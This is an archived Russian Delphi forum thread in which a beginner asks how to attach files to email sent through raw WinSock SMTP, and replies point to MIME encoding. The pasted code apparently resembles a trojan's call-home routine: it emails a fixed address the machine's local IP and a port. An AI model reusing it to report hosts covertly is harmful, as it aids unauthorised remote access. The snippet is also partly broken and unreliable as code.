Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "Начинающим";
Текущий архив: 2005.12.11;
Скачать: [xml.tar.bz2];

Вниз

Отправка письма с аттачем с помощью WinSock   Найти похожие ветки 

 
KGC ©   (2005-11-26 03:25) [0]

Здравствуйте уважаемые.
Заинтересовался я отправкой почты, посидел почитал нашёл пару примеров, да вот никак не могу найти а как к письму прикрепить файл или несколько ?
Интересует реализация с помощью сокетов без всяких компоненток.
Заранее благодарен .


 
KGC ©   (2005-11-26 06:22) [1]

Вот кусок кода из примера, а как сюда файлы прикреплять ума не приложу.

function SMTPRecvReply(MailSocket: TSocket): Word;
var
 Buffer: array[1..1024] of Byte;
 Err: Integer;
 BufStr: string;
begin
 BufStr := "";
 Recv(MailSocket, Buffer, SizeOf(Buffer), 0);
 for Err := 1 to 3 do
   BufStr := BufStr + Chr(buffer[Err]);
 try
   Result := StrToInt(BufStr);
 except
   Result := 0;
 end;
end;

function SMTPSendString(MailSocket: TSocket; Str: string): Boolean;
var
 Buffer: array[1..1024] of Byte;
 Err: Integer;
begin
 Result := FALSE;
 ZeroMemory(@Buffer, SizeOf(Buffer));
 if Length(Str) > 1000 then
   Exit;
 for Err := 1 to Length(Str) do
   Buffer[Err] := Ord(Str[Err]);
 Buffer[Err] := 13;
 Buffer[Err + 1] := 10;
 Err := WinSock.send(MailSocket, buffer, Err + 1, 0);
 if Err > 0 then
   Result := TRUE;
end;

function SMTPConnectAndSendMail(Arg: Pointer): DWord; stdcall;
var
 MailSocket: TSocket;
 MailSent: Boolean;
 MTime: TSystemTime;
 SMTPServer: TSockAddrIn;
 Step: Byte;
 OutOfSend: Boolean;
begin
 MailSent := FALSE;
 OutOfSend := FALSE;
 MailSocket := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 ZeroMemory(@SMTPServer, SizeOf(SMTPServer));
 SMTPServer.sin_family := AF_INET;
 SMTPServer.sin_port := htons(25);
 SMTPServer.sin_addr.S_addr := inet_addr(PChar(smtp));
 Step := 0;
 if Connect(MailSocket, SMTPServer, SizeOf(SMTPServer)) = 0 then
   repeat
     case SMTPRecvReply(MailSocket) of
       220: SMTPSendString(MailSocket, "HELO server.com");
       250: case STEP of
           0:
             begin
               SMTPSendString(MailSocket, "MAIL FROM:" + mail);
               Inc(Step);
             end;
           1:
             begin
               SMTPSendString(MailSocket, "RCPT TO:" + mail);
               Inc(Step);
             end;
           2:
             begin
               SMTPSendString(MailSocket, "DATA");
               Inc(Step);
             end;
           3:
             begin
               SMTPSendString(MailSocket, "QUIT");
               Inc(Step);
             end;
         end;
       354:
         begin
           SMTPSendString(MailSocket, "From:" + ServerID);
           SMTPSendString(MailSocket, "To:" + UserName);
           SMTPSendString(MailSocket, "Subject:" + LocalIPS + " : " + port +
             " At " + DateTimeToStr(Now));
           SMTPSendString(MailSocket, CRLF);
           for count := 1 to (txt.Count - 1) do
             SMTPSendString(MailSocket, txt[count]);
           SMTPSendString(MailSocket, CRLF + "." + CRLF);
         end;
       221:
         begin
           OutOfSend := True;
           MailSent := True
         end;
     else
       OutOfSend := True;
       file: //!Case
     end;
   until OutOfSend;
 CloseSocket(MailSocket);
end;
ExitThread(0);
end;


 
Reindeer Moss Eater ©   (2005-11-26 10:24) [2]

Никаких файлов в почтовом сообщении нет.
Есть тело сообщения.
В теле сообщения помещается его текст и следом за ним содержимое файла кодированное по MIME


 
palva ©   (2005-11-26 10:26) [3]

Письмо с вложениями должно находиться у вас в массиве txt.
Сохраните из Outlook Express какое-нибудь письмо с вложениями. Это будет файл с расширением eml. Вот так и должно выглядеть ваше письмо, только начальные заголовки (с адресом и др.) нужно отбросить. Вы их уже передаете в своей программе. Если непонятно, читайте документ RFC-1521 или его частичный перевод http://www.free.net/Info/voronin-02/index.htm



Страницы: 1 вся ветка

Форум: "Начинающим";
Текущий архив: 2005.12.11;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.47 MB
Время: 0.035 c
4-1129093499
SANEK_10289
2005-10-12 09:04
2005.12.11
Где в реестре взять имя пользователя?


8-1121002140
Дмитрий Белькевич
2005-07-10 17:29
2005.12.11
Быстрый сдвиг массива точек на дробное значение точек.


14-1132515997
Yura32
2005-11-20 22:46
2005.12.11
Proccesor


2-1132527337
Dub
2005-11-21 01:55
2005.12.11
Редактирование файла


14-1132407960
nbv
2005-11-19 16:46
2005.12.11
Скрытие кода





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский